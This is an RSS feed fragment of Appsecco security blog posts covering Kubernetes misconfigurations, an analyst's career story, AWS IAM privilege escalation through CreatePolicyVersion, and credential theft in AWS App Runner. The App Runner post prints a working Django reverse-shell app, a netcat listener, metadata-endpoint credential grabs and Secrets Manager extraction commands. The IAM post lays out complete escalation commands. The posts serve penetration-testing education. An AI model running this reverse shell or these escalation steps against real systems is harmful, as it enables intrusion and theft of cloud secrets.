/><figcaption>Accessing the API using the kubectl proxy</figcaption></figure><p>Internally with poor or absent Network Policies, access to services via pods presents another attack surface.</p><blockquote>An attacker with shell access to a pod (in any namespace) can run port scans and identify services within the pod network that should not be visible due to business restrictions. Misconfigured network policies can break the isolation that may have been set up to mimic tenant isolation at the app layer.</blockquote><p>Lastly, on managed clusters, access to node SSH/other services via machines on the same VPC is also often overlooked. This is an interesting attack scenario as a user with shell access to a different compute in the same VPC may be able to reach protected services.</p><p>Here’s what port scans look like from an adjacent machine for a control plan node and a worker node.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dCmB4gDICJukPLYS" /><figcaption>Port scan of a Control Plane node from a adjacent compute</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ezIPS4vvUPKwb6MU" /><figcaption>Port scan of a Worker node from a adjacent compute</figcaption></figure><h4>Overly permissive volume mount misconfigurations</h4><p>Often <em>volumeMounts</em> can use dangerous <em>hostPaths</em> resulting in the pod gaining file system access that they were not meant to have.</p><blockquote>Dangerous volumeMounts can give pods access to the underlying node’s file system which could compromise the entire cluster.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/0*KcM6nLHcPrhpT_E5" /><figcaption>Dangerous volumeMounts and hostPaths</figcaption></figure><p>An attacker can use a pod shell in a pod shown above and escape to the underlying node host using the dangerous mount point</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F8ezozJ2qnT50056" /><figcaption>Escaping to the underlying node via the pod</figcaption></figure><h4>Exposed ReadOnly port misconfiguration</h4><p>Some clusters are configured to expose a read-only information service accessible via the notorious kubelet port on TCP 10255 on the nodes allowing unauthenticated access to information about the entire cluster including information about all pods, services, namespaces, deployments jobs etc. accessible using a simple cURL request like curl http://&lt;kubelet--node-ip&gt;:10255/pods This information can be used to gain a foothold, identify vulnerable pods and services etc. to further an ongoing attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/0*rkJjzDDHljvuS70r" /><figcaption>Extracting information through the TCP 10255 ReadOnly unauthenticated port</figcaption></figure><p>This is obviously a bigger problem if the port is accessible over the Internet (a Censys search will show you interesting results 😱) or to another neighbouring compute within the cloud account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BocNCFIHZOHv_Gwv" /><figcaption>Machines with the 10255 port exposed to the Internet (could be honeypots, could be actual machines)</figcaption></figure><p>You can continue reading Part 2 of this series at <a href="https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5">https://blog.appsecco.com/a-pentesters-approach-to-kubernetes-security-part-2-8efac412fbc5</a></p><h3>Conclusion</h3><p>This post covers common misconfigurations with Kubernetes clusters around network setup, permissive workload settings and kubelet configuration.</p><p>We will explore some more misconfigurations in the next part and see how they can be used to exploit the cluster.</p><p>PS: Our <strong><em>Kubernetes Penetration Testing as a Service</em></strong> offering can be used to run a real world penetration test on your clusters to assess its security. Drop in a hello to <a href="http://riyaz@appsecco.com/">riyaz@appsecco.com</a> to know more!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sMUF0ClwMoRl5qca.png" /><figcaption><a href="https://appsecco.com/">https://appsecco.com</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b328252954a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/a-pentesters-approach-to-kubernetes-security-part-1-2b328252954a">A Pentester’s Approach to Kubernetes Security — Part 1</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Exciting Two Month Journey as a Security Analyst at Appsecco]]></title>
            <link>https://medium.com/appsecco/my-exciting-two-month-journey-as-a-security-analyst-at-appsecco-8f1f7b085fa3?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/8f1f7b085fa3</guid>
            <category><![CDATA[careers]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[working-with-appsecco]]></category>
            <category><![CDATA[culture]]></category>
            <dc:creator><![CDATA[Abhishek Birdawade]]></dc:creator>
            <pubDate>Wed, 09 Aug 2023 12:35:22 GMT</pubDate>
            <atom:updated>2023-08-09T12:35:22.724Z</atom:updated>
            <content:encoded><![CDATA[<p>A quick post about the beginning of my exciting journey as a full time Security Analyst at Appsecco.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1vtqqMtWcN_WJD6J" /><figcaption>Photo by <a href="https://unsplash.com/@clemensvanlay?utm_source=medium&amp;utm_medium=referral">Clemens van Lay</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3><strong>Background</strong></h3><p>Around 5 years ago, I stepped into the world of cybersecurity, and about 4 years ago, I started hacking as a bug bounty hunter on HackerOne. I wanted more from my freelancing career and really wanted to get an industry view of how the world was actually doing security testing.</p><p>To start that journey, I applied as an intern at Appsecco after which I landed a full-time role as a security analyst here.</p><p>My time as an intern at Appsecco was amazing. Having <a href="https://medium.com/@riyazwalikar">Riyaz</a> as my guide and mentor was fantastic, and I learned a lot about the developer’s perspective while approaching any target. I wrote about <a href="https://blog.appsecco.com/gaining-experiences-and-building-connections-my-internship-journey-at-appsecco-49672bcd5569">my 6-months internship experiences</a> too.</p><p>Transitioning from an intern to a full-time employee wasn’t a big change from a technology point of view but definitely stepping into the world of working with real world customers was eye opening. Having a team lead like Swathi, allowed me to blend right in with her guidance and start executing customer facing projects.</p><p>I got involved in some major assignments, like testing Cloud environments, performing a security test of internal networks, examining web applications, and API pentesting. I even did my first-ever solo project where I hacked Android and iOS applications. I’ve learned and done more testing in these 2 months than I did in the entire previous year.</p><p>What I really love about being around such experienced security experts is that learning never stops. Appsecco’s way of learning is awesome for young folks like me who want to explore cybersecurity.</p><p>Even though I’m the youngest on the team, everyone takes my ideas and suggestions seriously.</p><h3>What my day looks like</h3><p>My day starts at 6 AM, followed by a 2-hour workout. Then, at 9:30 AM, we have our first team meeting of the day. I really enjoy our morning catch-up sessions; they’ve made me much more productive and accountable.</p><p>My approach was pretty different, having come from bug hunting and freelancing, but thanks to the great mentors, I’ve developed some really effective ways of working (I’ll talk more about this in my next blogs).</p><p>And let’s not forget the fun team meetings at Appsecco! We used to have Fun Fridays, but now we have Warm Wednesdays. Our HR, Manu Singh, makes sure we have a whole hour of entertainment and engagement and the team let’s their hair loose and have some non-judgemental fun!</p><p>I used to worry before starting this job — what if I don’t fit in? But now, at Appsecco, it feels like I’ve always belonged here. In just 2 months, I’ve built strong connections with my team members. Can’t wait to meet them in person at our next in person outing!</p><h3>Outro</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bx6oZ9rYKN0_FoHX" /><figcaption>Photo by <a href="https://unsplash.com/@arvndvisual?utm_source=medium&amp;utm_medium=referral">Aravind Kumar</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I’ve got a long and exciting journey ahead, and I’m looking forward to working, learning, and growing with <a href="https://appsecco.com/">Appsecco</a> for many years to come.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f1f7b085fa3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/my-exciting-two-month-journey-as-a-security-analyst-at-appsecco-8f1f7b085fa3">My Exciting Two Month Journey as a Security Analyst at Appsecco</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting IAM security Misconfigurations — Part 2]]></title>
            <link>https://medium.com/appsecco/exploiting-iam-security-misconfigurations-part-2-98de1035cb6?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/98de1035cb6</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Anurag Mishra]]></dc:creator>
            <pubDate>Tue, 18 Jul 2023 05:24:01 GMT</pubDate>
            <atom:updated>2023-07-18T05:24:01.169Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Exploiting IAM security Misconfigurations — Part 2</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IiD_76XXXs6FpjYR" /><figcaption>Photo by <a href="https://unsplash.com/pt-br/@davelowephoto?utm_source=medium&amp;utm_medium=referral">Dave Lowe</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In Part -1 of our blog, we discussed what is IAM and how a misconfiguration in IAM can lead to Privilege Escalation, specifically a misconfigured AssumeRole policy. This post continues our journey of IAM misconfigurations where an attacker would try to exploit an IAM policy misconfiguration to elevate their privileges.</p><p>To read Part 1 of this series, go to <a href="https://blog.appsecco.com/exploiting-iam-security-misconfigurations-part-1-9da814706755">Exploiting IAM security Misconfigurations — Part 1</a></p><blockquote><strong>AWS IAM Policy</strong> is an object in AWS that, when associated with an identity or resource defines its permissions. AWS evaluates these policies when an IAM principal (user or role) makes a request. The permissions in the policy determine whether the request is allowed or denied.</blockquote><h4><strong>Scenario 2: Misconfigured IAM Policy — CreatePolicyVersion leads to Privilege Escalation</strong></h4><p>As we continue ahead in our series, we will assume that an attacker has gained access to the AWS credentials of a user who belongs to an organization. Similarly following the approach demonstrated in our previous blog, the attacker would enumerate their access to AWS.</p><p>After configuring AWS credentials with the profile — <em>stolen-creds</em> in the CLI, the attacker will enumerate what user they have compromised and the account details with the following command</p><pre>aws sts get-caller-identity --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MZma__I61sodyzs6sooKmA.png" /></figure><p>In this case, the compromised user is “IAM-user-0132”.</p><p>One lucrative service that most attackers go after in AWS, once credential compromise has happened, is S3.</p><p>The following command lists all S3 buckets in the account of the profile provided</p><pre>aws s3 ls --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*52PoFjai1SnfKOJIZJ7CRQ.png" /></figure><p>Turns out this user, does not have the ability to list S3 buckets. Let’s try to enumerate what policy is attached to the user directly (Inline-Policy) with the following command</p><pre>aws iam list-attached-user-policies --user-name IAM-user-0132 --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*sMkdvIq1sOJrDCaYCFuENg.png" /></figure><p>The next step would be to retrieve more information about <em>“IAM-dev-user-policy” </em>with the following command</p><pre>aws iam get-policy --policy-arn &lt;policy-arn&gt; --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*qmPiFczaLpSru8Yc6v-YoQ.png" /></figure><p>The next step would be to retrieve the JSON version of this policy, to understand in detail what this compromised user is authorized to do.</p><pre>aws iam get-policy-version --policy-arn &lt;policy-arn&gt; --version-id v1 --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*1D1poGX9UzRLfo_xyxajMA.png" /></figure><p>On observing the output carefully the user is allowed to perform all the Get and List actions on all the IAM resources. This would allow him to gather information about all the users in the account.</p><p>But the more interesting policy here is the<em> </em><strong><em>“iam:CreatePolicyVersion”</em></strong></p><ol><li>This policy creates a new version of the specified managed policy.</li><li>* in Resource means the compromised user can create a new version of any available managed policy.</li></ol><p>The usage of this policy will allow the attacker to escalate the privileges of the compromised user to an administrator user by updating their policy to a newer policy version with administrator access.</p><p>To complete this attack, the attacker can create an administrator policy in a JSON format with the following content in it and make it the default policy of the compromised user.</p><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Action&quot;: &quot;*&quot;,<br>            &quot;Resource&quot;: &quot;*&quot;<br>        }<br>    ]<br>}</pre><p>The command below is used for privilege escalation</p><pre>aws iam create-policy-version --policy-arn &lt;policy-arn&gt; --policy-document file://./admin-policy.json --set-as-default --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJ4lqtsyCuMENtYym7LsOA.gif" /></figure><p>This command will create a new policy with administrator privileges and will set it as the default policy for the compromised user.</p><p>Let’s check the policies attached to the compromised user with the following command</p><pre>aws iam list-policy-versions --policy-arn &lt;policy-arn&gt; --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*JVMDPtrFPAjX2pUeYAGztg.png" /></figure><p>Verify the <em>v2 version </em>which is the default inline policy for the compromised user with the following command</p><pre>aws iam get-policy-version --policy-arn &lt;policy-arn&gt; --version-id v2 --query &quot;PolicyVersion.Document&quot; --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*ZzK4Csedn4Y4GqrgQ0Hm3g.png" /></figure><p>This policy, in effect, gives the user access to all actions across all services in AWS.</p><p>The attacker can now finally sync S3 bucket contents to a local directory</p><pre>aws s3 sync s3://your-bucket-name local-directory-path</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UACTRkXdj7R-tRjy2o4ZRg.png" /></figure><p>In a real-world scenario, a user with a misconfigured <strong>CreatePolicyVersion</strong> can create any managed AWS policy and gain full control over the AWS environment. This essentially gives the attacker complete control over the AWS account.</p><p>Watch out for Part 3 of this series where we will discuss another IAM misconfiguration, to conclude the series.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98de1035cb6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/exploiting-iam-security-misconfigurations-part-2-98de1035cb6">Exploiting IAM security Misconfigurations — Part 2</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting shell and data access in AWS App Runner]]></title>
            <link>https://medium.com/appsecco/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/3632e844bc77</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[apprunner]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Bhagavan Bollina]]></dc:creator>
            <pubDate>Mon, 29 May 2023 16:08:31 GMT</pubDate>
            <atom:updated>2023-05-29T16:09:02.756Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Tales from a recent cloud security research of App Runner service in the AWS cloud backed by Container Service (ECS) and how an attacker can steal the secrets stored in the AWS Secrets Manager</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8zJxUb-R94es5MRjVwtQg.jpeg" /></figure><h3>Background</h3><p>As a security researcher, I typically test all kinds of applications, infrastructure, cloud services, and API setups. In that process, I uncovered the potential risks associated with AWS App Runner, a popular cloud service that enables developers to easily deploy containerized applications. As I delved into my cloud security research, I stumbled upon a thought-provoking question: What if an attacker gains an initial foothold on a container service?</p><h3>AWS App Runner</h3><p>AWS App Runner is an AWS service that provides a fast, simple, and cost-effective way to deploy from source code or a container image directly to a scalable and secure web application in the AWS Cloud. App Runner connects directly to your code or image repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*ZaUpmdCP8L3oz4nc.png" /></figure><h3>Potential Attack Surface</h3><p>For any system that you are threat modelling, you would want to first identify all potential vantage point for attackers. Once I had a fair understanding of the service and its architecture, I understood that AWS App Runner is a well-architected design and took security into consideration for its various features.</p><p>So I focussed on What if an attacker gains an initial foothold on a container service and possesses remote code execution (RCE) capabilities?</p><h3><strong>Approach</strong></h3><p>My approach was to ensure coverage by performing various configuration reviews and identifying misconfigurations that could be exploited to gain additional privileged access or access to data across the isolation boundaries that the service designers had created.</p><p>To test this, I used a simple Django app, that when deployed would give me access to a reverse shell in the execution environment where the app is running.</p><pre>from distutils.log import error<br>import sys, socket,os,pty<br>from django.conf import settings<br>from django.urls import include, re_path<br>from django.http import HttpResponse<br><br>settings.configure(<br>    DEBUG=True,<br>    ROOT_URLCONF=__name__<br>)<br><br>def index(request):<br>    if (&#39;ip&#39; in request.GET):<br>        ip = request.GET[&#39;ip&#39;]<br>        e = connectshell(ip)<br>        return HttpResponse(&quot;Exception:&quot; + str(e))<br>    else:<br>        return HttpResponse(&#39;Hello World!&#39;)<br><br>def connectshell(ip):<br>    try:<br>        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>        s.connect((ip,4242))<br>        os.dup2(s.fileno(),0)<br>        os.dup2(s.fileno(),1)<br>        os.dup2(s.fileno(),2)<br>        pty.spawn(&quot;/bin/sh&quot;)<br>        s.shutdown(socket.SHUT_RDWR)<br>        s.close()<br>    except Exception as e:<br>        return str(e)<br><br>urlpatterns = (<br>    re_path(r&#39;^$&#39;, index),<br>)<br><br>if __name__ == &quot;__main__&quot;:<br>    from django.core.management import execute_from_command_line<br>    execute_from_command_line(sys.argv)</pre><p>You can download the source for the reverse shell here: <a href="https://github.com/appsecco/django-rev-shell">https://github.com/appsecco/django-rev-shell</a></p><p>With this shell access, I now had the ability to explore the environment. Here’s a list of checks that you can follow if you find yourself testing something similar.</p><ol><li>What is in the container environment? This can be obtained by env command and usually yields app secrets and metadata location of the ECS.</li><li>What other IP addresses and ports are accessible? We installed nmap on the container using apt-get and ran a full scan on the IP subnets that we identified from environment variables and the local routing table.</li><li>What privileges does the IAM role attached to the ECS have? These credentials can be generated using the Instance Metadata endpoint within the container. It is possible to reach by sending the curl request in the same network stack.</li></ol><pre>curl http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</pre><p>3. Check the privileges of the stolen credentials and perform the actions.</p><h3>Demo — Privilege Escalation by RCE in AWS App Runner</h3><p>Recently AWS has integrated the App Runner service with the Secrets Manager and Systems Manager Parameter Store (Jan 06, 2023). So I saved a few secrets in AWS Secrets Manager and integrated them with the App Runner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*SaHjHSX9ieGdIrEnJgPybQ.png" /></figure><p>Deployed the vulnerable application inside the App Runner which has the RCE capabilities.</p><figure><img alt="Application having RCE capabilities deployed in App Runner" src="https://cdn-images-1.medium.com/max/1024/1*-k0l213iuSVxpFsV7Fmqwg.png" /><figcaption>Application having RCE capabilities deployed in App Runner</figcaption></figure><p>App Runner now allows you to reference secrets and configuration parameters stored in AWS Secrets Manager and AWS Systems Manager Parameter Store.</p><p><strong><em>Applications running in App Runner will have the data available as environment variables.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UNIUVv_6Id8M7oAJl1V-kw.png" /><figcaption>AWS App Runner is integrated with Secrets Manager</figcaption></figure><p>I opened the public endpoint and supplied my attacker machine’s public IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGOrrhBDoYyvSvy1V1CJAA.png" /><figcaption>Requesting for a connection back on attacker machine</figcaption></figure><p>On my attacker machine, I started a netcat listener using nc -nlvp 4242</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Klg4CVcb25qAyUCs9o3Ytg.png" /><figcaption>Received a reverse shell from the application in App Runner</figcaption></figure><p>Once the shell is received, I started exploring inside the shell. I used this command to see the environment variables env .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Klz-7ASmYbaiYS4nahGydQ.png" /><figcaption>Output has metadata endpoints and some sensitive information</figcaption></figure><h4>Exploring the environment</h4><p>a. ECS uses an IMDS but it is accessible at `169.254.170.2`.</p><p>b. Retrieve the ECS_CONTAINER_METADATA_URI environment variable within your container. This environment variable contains the URL of the ECS metadata endpoint.</p><p>c. Make a GET request to the metadata endpoint using curl or any HTTP client library available in your container. For example:</p><pre>curl -sS $ECS_CONTAINER_METADATA_URI</pre><p>d. The response will provide details about the container, task, and cluster metadata. Look for information related to other containers or tasks within the cluster, including their IP addresses or DNS names.</p><p>I ran a command to see the “ECS_CONTAINER_METADATA_URI_V4”</p><pre>curl http://169.254.170.2/v4/UUID</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PPt0KPrK3ln3ucEceQ-fqg.png" /><figcaption>Metadata of a running container</figcaption></figure><p>I was looking for an endpoint that can leak the AWS temporary credentials, run the below command to see them</p><pre>curl http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3K8lnfbu7WvDuAYRP88JIg.png" /><figcaption>Grab the credentials and save them to use</figcaption></figure><p>Now configure the above credentials in the ~/.aws/credentials since it has the session token too or you can set them as environment variables.</p><pre>export AWS_ACCESS_KEY_ID=ACCESS_KEY_ID<br>export AWS_SECRET_ACCESS_KEY=SECRET_ACCESS_KEY<br>export AWS_SESSION_TOKEN=SESSION-TOKEN</pre><pre>aws sts get-caller-identity --profile apprunner_stolen_creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79qnU3PAQRMsNa8QpkWlbw.png" /><figcaption>Attached Role: revshell-get-access</figcaption></figure><p>Once I configured the credentials, I looked around what all access I have and interestingly I was able to describe the secrets in AWS Secrets Manager.</p><pre>aws secretmanager describe-secret --secret-id AppRunner_admin --region us-east-1 --profile apprunner_stolen_creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_hcSKDchQKfa7bzJRmrt7g.png" /><figcaption>Copy the secret ID: AppRunner_admin</figcaption></figure><p>The provided output displays the ARN(Amazon Resource Name) and the name of the secret. Now, it’s time to proceed with listing the secrets and extracting the valuable information stored within them.</p><pre>aws secretsmanager list-secrets --profile apprunner_stolen_creds --query &#39;SecretList[].Name&#39; --output text</pre><p>Use this command to print the secret name, Now use the secret name to extract the variables.</p><pre>aws secretsmanager get-secret-value --secret-id AppRunner_admin --profile apprunner_stolen_creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xhyuA4vR81Mffja31sjalg.png" /><figcaption>Exposed secrets</figcaption></figure><p>I extracted the credentials and added them to my AWS cli as a new profile</p><pre>aws configure --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0a1Uc7Yg0i33pRfP7fiP8w.png" /><figcaption>Configure the stolen credentials</figcaption></figure><pre>aws sts get-caller-identity --profile stolen-creds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92erOUsA73wjpsH_8V8quw.png" /></figure><p>The user IAM-Admin turned out to be an over-privileged user with administrative access across the AWS account.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fr1HGFou3mUwMw%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fr1HGFou3mUwMw%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbjU0eXAxeW41ZnprdW9tc3I0bjU1Mzk3MnhmcWg0bmxibG50eDFoeCZlcD12MV9naWZzX2dpZklkJmN0PWc%2Fr1HGFou3mUwMw%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/8b63a39d07d21eaf83644896145429d1/href">https://medium.com/media/8b63a39d07d21eaf83644896145429d1/href</a></iframe><h3>Conclusion</h3><p>Container-based RCE attacks have far-reaching implications, from privilege escalation within the container environment to data exfiltration and infrastructure disruption. These risks underscore the importance of implementing robust security measures to protect sensitive data, maintain system integrity, and ensure the availability of critical services.</p><p>Until next time, happy hacking!!</p><h3>References</h3><ul><li><a href="https://github.com/appsecco/django-rev-shell">GitHub - appsecco/django-rev-shell: A simple django app to provide a reverse shell when deployed and invoked.</a></li><li><a href="https://aws.amazon.com/about-aws/whats-new/2023/01/aws-app-runner-secrets-configuration-aws-secrets-systems-manager/">AWS App Runner now supports retrieving secrets and configuration from AWS Secrets Manager and AWS Systems Manager</a></li><li><a href="https://github.com/aws-samples/apprunner-hotel-app">GitHub - aws-samples/apprunner-hotel-app</a></li><li><a href="https://aws.amazon.com/blogs/containers/aws-app-runner-now-integrates-with-aws-secrets-manager-and-aws-systems-manager-parameter-store/">AWS App Runner now integrates with AWS Secrets Manager and AWS Systems Manager Parameter Store | Amazon Web Services</a></li><li><a href="https://medium.com/featurepreneur/how-to-set-up-aws-app-runner-191fb0d4e1ab">How to set up AWS App Runner?</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3632e844bc77" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77">Getting shell and data access in AWS App Runner</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting IAM security Misconfigurations — Part 1]]></title>
            <link>https://medium.com/appsecco/exploiting-iam-security-misconfigurations-part-1-9da814706755?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/9da814706755</guid>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[aws-policies]]></category>
            <dc:creator><![CDATA[Varun]]></dc:creator>
            <pubDate>Thu, 18 May 2023 06:18:42 GMT</pubDate>
            <atom:updated>2023-05-18T06:18:42.787Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting IAM security Misconfigurations — Part 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pHOW8VNWpvOC4DEt" /></figure><p>As more and more companies move their operations to the cloud, security has become a significant concern for cloud service providers like Amazon Web Services (AWS).</p><p>AWS security is constantly evolving to keep up with the growing threats and vulnerabilities in the cloud.</p><p>A popular trend is the rise of cryptojacking attacks, where attackers use compromised AWS resources to mine cryptocurrency. In addition, there has been an increase in attacks targeting misconfigured AWS S3 buckets, which can lead to data breaches and leaks. To address these trends, AWS has continued to improve its security offerings and provide guidance to its customers on best practices for securing their AWS infrastructure.</p><p>Despite the abundance of best practices and defense advice offered by the cloud providers and the security community, misconfigurations exist and provide attackers with fast-track access for exploits.</p><p><strong>Identity and Access Management misconfigurations </strong>are one of the most common concerns in cloud security across all the cloud providers.</p><p>Cloud providers do not provision most environments that are secure by default. As long as there exists a choice to alter a resources configuration, misconfigurations will continue to exist. The <strong>shared responsibility model</strong> enforces the idea of security being a shared responsibility between the cloud provider and the user.</p><blockquote>In its simplicity, cloud provider takes care of the security of the hardware and network configurations while the user takes care of the user interfaces and resource configurations that are required for the services to be exposed and function.</blockquote><p>What if a misconfiguration exists over the users or roles in your environment? Was the misconfiguration applied intentionally by a known-insider? Or was it an attacker with access to keys to your kingdom?</p><p>If attackers already have access to your cloud environment, misconfigurations can help them perform lateral movement, use the account for malicious purposes (crypto mining) or exfiltrate sensitive data.</p><p>This multipart series covers IAM security misconfigurations and how it is possible for an attacker to use them to gain access to resources and data.</p><p><strong>AWS IAM</strong> is a service that lets you manage identities that can be used to access AWS services and resources securely.</p><p>With IAM, AWS users can be created and can, optionally, be grouped into groups. Permissions can then be assigned to these users or groups to allow / deny them access to AWS resources.</p><blockquote>Due to fine granularity of permissions available, while assigning the permissions to users or groups, the best practice is always to follow the principle of least privilege. i.e carefully giving users permissions to make sure they only have access to actions and resources that are absolutely fundamental to performing their daily operations.</blockquote><p>It is very important to highlight is that it is often not just a single overly permissive permission that could allow the user to perform unwanted actions, but the combination of this single misconfigured permission with all the others already assigned to the user.</p><h3>Scenario 1: Misconfigured AssumeRole policy and updating AssumeRolePolicyDocument</h3><blockquote>Assumptions are made and most assumptions are wrong</blockquote><blockquote>- Albert Einstein</blockquote><p>Let us consider an attacker who has successfully launched an OSINT campaign to find leaked secrets of an internal user. With this, an attacker is able to get valid leaked AWS credentials to login to the AWS account.</p><p>The compromised user has an attached IAM policy that is misconfigured.</p><p>This lets the attacker edit the AssumeRolePolicyDocument of any existing role, which could range from minimal privileges to full control of Elastic Cloud Compute (EC2s) inside the account.</p><p>In this case the compromised user is “engineer”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*cm1nEVy1YbN9IPUO" /></figure><p>The next step is to check if the user is part of any groups. In this case, the user is part of the “testers” group. This requires the “engineer” user to have the “iam:ListGroupsForUser” permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/0*ZBcFNIRmG4v5AqBc" /></figure><p>The next logical step for the attacker would be checking the attached policies for this group. This requires the “engineer” user to have the “iam:ListAttachedGroupPolicies” permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7ZfQj4Rh5rejzT8A" /></figure><p>On observing the output, there are two policies. ReadOnlyAccess is a special managed policy that gives permissions to perform Get and List operations across all of AWS resources. Very useful from a information gathering perspective.</p><p>The more powerful policy here, though, is the <strong><em>assumeRole </em></strong>policy.</p><p>The <strong><em>assumeRole</em></strong> policy attached to the group allows a user to assume all the roles.</p><p>Next step, would be to read the policy definition 